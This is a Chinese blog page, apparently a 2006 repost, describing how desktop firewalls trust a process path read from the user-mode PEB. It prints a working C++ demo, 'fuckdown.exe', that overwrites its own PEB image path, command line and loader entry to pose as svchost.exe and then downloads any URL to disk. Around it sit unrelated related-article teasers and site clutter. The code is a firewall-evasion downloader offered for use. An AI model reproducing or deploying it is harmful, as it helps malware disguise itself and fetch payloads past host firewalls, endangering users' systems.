防火墙普遍存在的设计缺陷--关于进程路径的获取

开源反控极域工具技术解析:进程终结、网络干扰与权限恢复 在Windows系统管理与软件安全领域,进程控制、网络通信和API钩子是核心基础概念。进程管理涉及通过系统调用如TerminateProcess结束目标程序;网络通信控制则可通过防火墙规则或协议分析实现干扰;API钩子技术允许程序拦截系统调用,常用于功能限制。这些技术的工程价值在于实现精细化的系统行为管控与安全防护。在教育机房管理等场景中,课堂管理软件常综合运用这些技术实现屏幕广播、程序限制等功能。针对此类控制,技术社区出现了相应的对抗工具,其典型实现路径包括强制结束管理软件进程、干扰其网络通信端口或协议、 阅读详情

 http://blog.youkuaiyun.com/RonCha/archive/2006/09/20/1254982.aspx

 

当程序访问网络时,一般情况下防火墙都会获取到程序的路径,并提示用户。
问题就出在获取程序路径的方法,一般的防火墙程序都是直接在ring3下获取这些信息,也就是说防火墙程序获取的这些信息,基本上是程序的PEB中存放的信息。如果我们修改了程序的PEB中相关的路径的信息的话,把程序修改伪装为系统进程的路径的话,防火墙就无法正确识别了。

DEMO代码如下,如需更完整的信息请与我联系:

//  fuckdown.cpp : Defines the entry point for the console application.
//
//   [9/19/2006 RonCha]
#include  " stdafx.h "
#include 
< urlmon.h >
#pragma  comment(lib,"urlmon.lib")

char  szpath[MAX_PATH] = {0} ;
OLECHAR path[MAX_PATH]
= {0} ;


void  ChangPath();

int  main( int  argc,  char *  argv[])
{

    
//修改路径
    ChangPath();
    
if (argc==3)
    
{
         
if (argv[1]!="" && argv[2]!="")
         
{
            HRESULT hRet
=URLDownloadToFileA(NULL,argv[1],argv[2],NULL,NULL);
            
if(hRet==S_OK)
                printf(
" Down Success! ");
            
else
                printf(
" Can't down the file! ");
            
return 1;
         }

    }

    printf(
"Author:RonCha ");
    printf(
"Web:http://blog.youkuaiyun.com/RonCha ");
    printf(
"Usage:fuckdown.exe downurl savepath ");
    
return 0;
}


void  ChangPath()
{
    
//将该进程伪装为svchost.exe
    int slen;
    slen
=GetSystemDirectory(szpath,MAX_PATH);
    slen
=GetSystemDirectory(szpath,slen);
    lstrcat(szpath,
"/svchost.exe");
    
//转化为Unicode字符
    MultiByteToWideChar(CP_ACP,NULL,szpath,-1,path,MAX_PATH);
    __asm
    
{            
            MOV EAX, fs:[30h]            
//get the PEB address
            MOV EAX, [EAX+0xC]             //_PEB_LDR_DATA
            MOV EAX, [EAX+0xC]             //InLoadOrderModuleList
            lea ebx,path
            mov WORD ptr[EAX
+0x24],0x60  //FullDllName->Length
            mov [EAX+0x28],ebx             //FullDllName->Buffer
            MOV EAX, fs:[30h]
            mov EAX,[EAX
+0x10]           //peb->_RTL_USER_PROCESS_PARAMETERS 
            lea EAX,[EAX+0x3c]             //_RTL_USER_PROCESS_PARAMETERS ->ImagePathName->Buffer
            lea ebx,path
            mov [eax],ebx                 
//ImagePathName->Buffer
            mov WORD ptr[eax-4],0x60     //ImagePathName->Length
            MOV EAX, fs:[30h]
            mov EAX,[EAX
+0x10]           //peb->_RTL_USER_PROCESS_PARAMETERS 
            lea eax,[EAX+0x44]             //_RTL_USER_PROCESS_PARAMETERS -> CommandLine->Buffer
            lea ebx,path
            mov [eax],ebx                
//CommandLine-->Buffer
            mov WORD ptr[eax-4],0x60    //CommandLine-->Length
    }

}

AI落地失败的四大错配与七道防火墙 人工智能在企业落地并非单纯的技术部署问题,而是涉及目标设定、数据质量、业务流程与组织能力的系统性工程。当AI模型能力与真实业务语义边界脱节、当训练数据无法反映实际场景、当自动化工具强行嵌入未重构的旧流程,就极易引发‘AI幻觉落地综合征’——表面跑通,实则失效。尤其在早期采用阶段,盲目追求MVP或高参数模型,却忽视人机协同设计、数据血缘验证与可解释性约束,将显著抬高项目失败风险。本文聚焦AI规模化应用前的关键避坑逻辑,结合目标错配、数据错配、流程错配、能力错配四大结构性陷阱,提出覆盖立项、数据、模型、协同、测 阅读详情

相关推荐

路径遍历漏洞深度解析:从原理到实战的任意文件读取攻防

路径遍历(Path Traversal)是一种常见的Web安全漏洞,其核心原理在于应用程序未对用户输入的文件路径参数进行充分校验和过滤,导致攻击者能够通过构造包含目录跳转序列(如../)的恶意输入,访问并读取服务器文件系统上的任意文件。该漏洞的技术价值在于其作为信息收集的关键入口,常能获取配置文件、日志等敏感数据,为后续渗透测试奠定基础。在应用场景上,它广泛存在于各类文件下载、读取或包含功能的接口中,尤其在企业级Web应用中危害显著。本文以CNVD-2021-34455漏洞为例,深入剖析了其利用方式与修复方

weixin_30301449的博客 341

c++ 防火墙设计模式PImpl

编译防火墙~PImpl [3] CrazyRabbit 人民广场放鸽子大赛唯一到场选手 PImpl(Pointer to implementation)是一种C++编程技术,其通过将类的实现的详细信息放在另一个单独的类中,并通过不透明的指针来访问。这项技术能够将实现的细节从其对象中去除,还能减少编译依赖。有人将其称为“编译防火墙(Compilation Firewalls)”。 Herb Sutter(C++标准委员会成员)写了一些相关的博客,对其博客做一个翻译记录: GotW #7a Sol

流媒体巅峰之路 1176

C++ API拦截源码

C++ API拦截源码 修改导入表 自己看一下,要改的地方改一下,很不错的例子

计算机网络 - iptables 防火墙

目录 1. iptables 的四表五链 1.1 规则链 1.1.1 默认的5种规则链 1.1.2 规则链间的匹配顺序 1.1.3 规则链内的匹配顺序 1.2 规则表 1.2.1 默认的4个规则表 1.2.2 规则表之间的优先顺序 1.3 数据包过滤匹配流程 2. iptables命令的语法格式 2.1 设置规则内容: 2.2 列表查看规则 2.3 清除规则 2.4 策略: 2.5 定时清除iptables规则 2.6 自定义规则链 2....

qq_48391148的博客 2648

防火墙代码

防火墙代码 病毒防护 进程监控 c++ 很适合学习

防火墙源码(用C++编写)

用C++写的防火墙源码,功能齐全,仅用于于学习交流用

Linux防火墙firewalld安全设置

防火墙是指设置在不同网络或网络安全域之间的一系列部件的组合,它能增强机构内部网络的安全性。它通过访问控制机制,确定哪些内部服务允许外部访问,以及允许哪些外部请求可以访问内部服务。它可以根据网络传输的类型决定IP包是否可以传进或传出内部网。防火墙通过审查经过的每一个数据包,判断它是否有相匹配的过滤规则,根据规则的先后顺序进行一一比较,直到满足其中的一条规则为止,然后依据控制机制做出相应的动作。如果都不满足,则将数据包丢弃,从而保护网络的安全。Linux系统的防火墙功能是由内核实现的。

m0_59598029的博客 1303

一个c++写的防火墙

一个c++写的防火墙,很好的学习和参考资料,请下载

c++防火墙代码

这个防火墙类有一个构造函数,它需要一个允许的IP地址向量,并将其存储。它还有一个is_allowed()`方法,它接受一个IP地址,并将该地址与允许的地址进行比较。如果提供的IP是一个允许的IP,则返回true,否则返回false。在主函数中,我们实例化了一个防火墙对象并指定允许的IP地址。然后,我们要求用户提供一个IP地址,并使用`is_allowed()方法检查该地址是否允许访问。最后,我们输出一个访问授权或拒绝的消息。

SYC20110120的博客 1499

C++网络编程实例文件之第十一章 防火墙的设计与实现

C++网络编程实例文件,里面包含各个章节的C++源码。 第一章 网络通信基础 第二章 认识Windows编程模型 第三章 网络基本应用在VC++中的实现 第四章 串口通信及其实例 第五章 应用层协议及编程实例 第六章 传输层协议及编程实例 第七章 网络层协议和数据链路层 第八章 Internet通信原理以及编程实例 第九章 基于Windows API的虚拟终端实现 第十章 多线程网络文件传输的设计与实现 第十一章 防火墙的设计与实现 第十二章 邮件转发器 第十三章 telnet bbs

别再踩坑了!QT5.15.2配置Android开发环境保姆级避坑指南(含Java8、SDK Tools版本选择)

本文提供QT5.15.2配置Android开发环境的详细避坑指南,重点解决版本锁定、SDK工具选择和QtCreator配置等常见问题。通过实测推荐的Java8、Android SDK Tools版本及NDK配置,帮助开发者高效完成环境搭建,避免隐性冲突和配置失败。

weixin_42537919的博客 237

关于进程路径的获取---防火墙普遍存在的设计缺陷

防火墙普遍存在的设计缺陷--关于进程路径的获取     当程序访问网络时,一般情况下防火墙都会获取到程序的路径,并提示用户。问题就出在获取程序路径的方法,一般的防火墙程序都是直接在ring3下获取这些信息,也就是说防火墙程序获取的这些信息,基本上是程序的PEB中存放的信息。如果我们修改了程序的PEB中相关的路径的信息的话,把程序修改伪装为系统进程的路径的话,防火墙就无法正确识别了。DEMO

653

从 JDK8 到 JDK17:CRMEB 框架升级

【摘要】CRMEB开源框架已成功从JDK8升级至JDK17,带来显著性能提升:并发吞吐量提高35%,响应延迟降低40%,资源占用减少25%。升级方案解决87个技术卡点,支持模块化扩展和微服务转型,兼容SpringBoot3.0等新技术。提供基础版到企业级的升级服务,包含代码重构指导和性能调优。经金融级验证的方案可帮助电商平台实现日均10万+UV承载,支付成功率提升至99.7%。现以低于市场30%的价格提供全周期技术支持,助力企业抢占技术先机。

weixin_39782540的博客 700

从JiraWhitelist逻辑缺陷看企业内网安全:CVE-2019-8451 SSRF漏洞的深度防御思考

本文深入分析了CVE-2019-8451 SSRF漏洞在企业内网安全中的严重威胁,揭示了JiraWhitelist逻辑缺陷如何被利用绕过安全防护。通过剖析漏洞原理、常见防护误区及纵深防御策略,为企业提供了从应用层加固到架构安全的全面解决方案,强调将SSRF检测融入DevSecOps流程的重要性。

weixin_30555515的博客 384

HyperLynx(十九)DDR(二)DDR的地址仿真

(5)设置水平标尺为2ns/div,垂直标尺为500mV/div,如果有必要,可以通过多次仿真,得到一个更加理想的结果。此外,还可以看到信号在高低电平切换时,反射波形基本趋于平缓,许多大的反射切换边缘已减小,这给了我们更大的定时裕量。如果这些DIMM是缓冲过的,则4个DIMM通道是可行的,但因为这是一个无缓冲DIMM,(20)在编辑传输线对话框中,选择“Values”选项卡,改变传输线长度为3in,具体设置如图所示,单击“确定”按钮。(17)为了增加电压摆幅,选择一个比原来的47Ω小的电阻。

小幽余生不加糖 4256

影楼精修-AI追色算法解析

本文解析了像素蛋糕软件中AI追色功能的技术原理与实现方案,为理解AI追色技术提供了实用参考。

Trent1985的专栏 2万+

企业级防火墙安全配置避坑:从启明星辰天清汉马USG漏洞看权限管理

本文以启明星辰天清汉马USG防火墙的逻辑漏洞为例,深入剖析企业级防火墙权限管理的常见陷阱。该漏洞暴露了权限分离机制失效的风险,允许低权限用户越权提升至管理员。文章重点探讨了权限配置误区,并提供了构建严格角色分离模型、强化认证与持续审计等最佳实践,旨在帮助企业筑牢防火墙管理面的安全防线。

plum99的博客 590

0.嵌入式控制器EC实战 Embedded Controller开发概述

文章目录前言1.嵌入式控制器EC概述2.EC芯片框图(IT8502为例)3.General Purpose I/O Port (GPIO)4.SMBus(System Management Bus,系统管理总线)5.PWM、TACH6.KBC(KeyBoard Controller)7.PS/28.ADC(模数转换)总结 前言 例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,本文就介绍了机器学习的基础内容。 1.嵌入式控制器EC概述 嵌入式控制器EC是挂在CPU的L

qq_30135687的博客 1万+

从‘lc‘键漏洞看AI框架的信任边界设计:LangChain安全事件启示录

本文深入分析了LangChain框架的CVE-2025-68664安全漏洞,揭示了AI框架在信任边界设计上的缺陷。通过技术解构和与传统漏洞的对比,提出了动态信任评估模型和安全编码规范,为企业提供了从紧急处置到长期治理的全方位防护方案。文章强调将安全作为AI框架设计的核心约束,以避免类似'lc'键漏洞事件的重演。

desk3的博客 707

VTK-9.5.0 1D2D3DWidget实现灰度图+深度图+3D点云显示(可轻松集成到自己的项目)

VTK1D2D3DWidget是一个基于Qt和VTK开发的3D点云可视化工具,支持RGB和深度点云数据的显示与处理。主要功能包括点云加载、可视化、保存为PLY格式文件,以及背景颜色、点间隔、坐标轴显示等参数的自定义设置。该工具采用模块化设计,核心组件包括主窗口管理类、VTK渲染组件和自定义鼠标交互样式,依赖Qt5+和VTK9.5.0库实现跨平台支持。项目提供完整的源码和构建指南,适用于点云数据的快速展示与分析。

Qt历险记,专注Qt技术,三年医疗设备研发经验,1年机器视觉研发经验,半年柔性传感研发经验。 385

基于ART算法和SIRT算法的超声CT反演及MATLAB代码实现

在超声CT中,反演算法起着至关重要的作用,它通过从测量数据中恢复出目标物体的内部结构。本文将介绍基于ART算法(Algebraic Reconstruction Technique)和SIRT算法(Simultaneous Iterative Reconstruction Technique)的超声CT反演方法,并提供相应的MATLAB代码实现。本文介绍了基于ART算法和SIRT算法的超声CT反演方法,并提供了相应的MATLAB代码示例。基于ART算法和SIRT算法的超声CT反演及MATLAB代码实现。

2301_79326510的博客 566
上一篇: 全面解析 Windows 网上邻居
下一篇: HTTP隧道通讯DELPHI封装
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值